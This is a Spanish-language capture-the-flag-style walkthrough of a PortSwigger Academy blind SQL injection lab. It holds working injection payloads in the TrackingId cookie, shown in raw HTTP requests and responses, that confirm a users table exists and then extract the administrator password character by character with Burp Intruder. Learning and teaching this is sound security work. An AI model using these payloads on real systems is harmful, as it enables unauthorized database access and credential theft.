

## 9 Lab Blind SQL injection with conditional responses

EL primer paso es hacer el modificado del TrackingID y comprobar que este campo es vulnerable, par ello implantaremos en el campo TrackingID lo siguiente:

```
``AND '1'='1
```

Utilizamos esta sentencia ya que el Backend comprobaria el valor de este TrackerId con esta sentencia (mas o menos):

```
``SELECT Tracking_id FROM Tracking_table WHERE TrackingId = 'VJ1m5qdMzVj3K1FM'
```

### Request

```
1 GET / HTTP/2
2 Host:
  0a7e000803b1f443816cf74d007900c0.web-security-academy.net
3 Cookie: TrackingId=VJ1m5qdMzVj3K1FM' AND '1'='1; session=
  pnZNBicdqRuqRLTnFR7pMBYbw3DmK8im
4 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0)
  Gecko/20100101 Firefox/128.0
5 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.
  8
6 Accept-Language: en-US,en;q=0.5
7 Accept-Encoding: gzip, deflate, br
8 Referer: https://portswigger.net/
```

### Response

```
1 NOT solved
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
</p>
<span class=lab-status-icon>
</span>
</div>
</div>
</div>
</section>
</div>
<div theme="ecommerce">
  <section class="maincontainer">
    <div class="container">
      <header class="navigation-header">
        <section class="top-links">
```

Como el campo TrackingId va a comprobar si es e valor es TRUE o no, vamos a usar esto para que se nos reporte información de la página web. si recibimos un "Welcome Back" será que la consulta es TRUE de lo contrario es FALSE:

Primero vamos a comprobar si existe una tabla users, para ello utilizaremos la siguiente sentencia en el TrackingID:

```
``(SELECT+'x'+FROM+users+LIMIT+1)+%3d+'x'--
```

Vemos como nos responde con un TRUE, por lo que la tabla "users" existe:

**Request**

Pretty Raw Hex

```
1 GET /filter?category=Lifestyle HTTP/2
2 Host:
  0aba00540476921280fcc1dc0075002b.web-security-academy.net
3 Cookie: TrackingId=
  kUBSN3oDmOMDT6L1'and+(SELECT+'x'+FROM+users+LIMIT+1)+%3d+'x'--
  ; session=GPeZWrfYkRpODrUe9h1wNpWrldrsCQm9
4 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0)
  Gecko/20100101 Firefox/128.0
5 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
6 Accept-Language: en-US,en;q=0.5
7 Accept-Encoding: gzip, deflate, br
```

0 highlights

**Response**

Pretty Raw Hex Render

```
47 </a>
   <p>
     |
   </p>
   <div>
     Welcome back!
   </div>
   <p>
     |
   </p>
48 <a href="/my-account">
   My account
   </a>
   <p>
```

Comprobamos que existe una columna llamada username que tiene un contenido llamado 'administrator':

```
``'and+(SELECT+username+FROM+users+WHERE+username='administrator')=
'administrator'--
```

The screenshot displays the 'Request' and 'Response' sections of a web browser's developer tools. The 'Request' section shows an HTTP GET request to `/filter?category=Lifestyle` with various headers including `Host`, `Cookie`, `User-Agent`, `Accept`, and `Accept-Language`. The `Cookie` header contains a session ID and a payload: `kUBSN3oDmOMDT6L1'and+(SELECT+username+FROM+users+WHERE+username='administrator')= 'administrator'--; session=GPeZWRfYkRpODrUe9h1WNpWrldrsCQm9`. The 'Response' section shows the HTML content of the page, which includes a navigation bar with a 'Home' link, a 'Welcome back!' message, and a 'My account' link.

```
Request
Pretty Raw Hex
1 GET /filter?category=Lifestyle HTTP/2
2 Host:
0aba00540476921280fcc1dc0075002b.web-security-academy.net
3 Cookie: TrackingId=
kUBSN3oDmOMDT6L1'and+(SELECT+username+FROM+users+WHERE+username='administrator')= 'administrator'--; session=
GPeZWRfYkRpODrUe9h1WNpWrldrsCQm9
4 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0)
Gecko/20100101 Firefox/128.0
5 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
6 Accept-Language: en-US,en;q=0.5

Response
Pretty Raw Hex Render
44 <section class="top-links">
45 <a href="/>Home
46 </a>
<p>
|
</p>
47 <div>
Welcome back!
</div>
<p>
|
</p>
48 <a href="/my-account">
My account
```

Ahora que sabemos que funciona vamos a sacra la contraseña del usuario administrator creando un payload con Burpsuite, para ello mandamos la petición al Intruder con la siguiente sentencia:

```
``'+AND
(SELECT+SUBSTRING(password,1,1)+FROM+users+WHERE+username+%3d+'administrator
')+%3d+'a'--
```

Con esta sentencia buscamos palabra por palabra la contraseña del usuario, en caso de que la letra sea correcta el servidor nos devolverá un Welcome Back, por lo que en el Intruder creamos un ataque de tipo Cluster bomb para itirenar las posibles respuestas de numero (longitud de de la contraseña) y de letras y números (la contraseña en sí)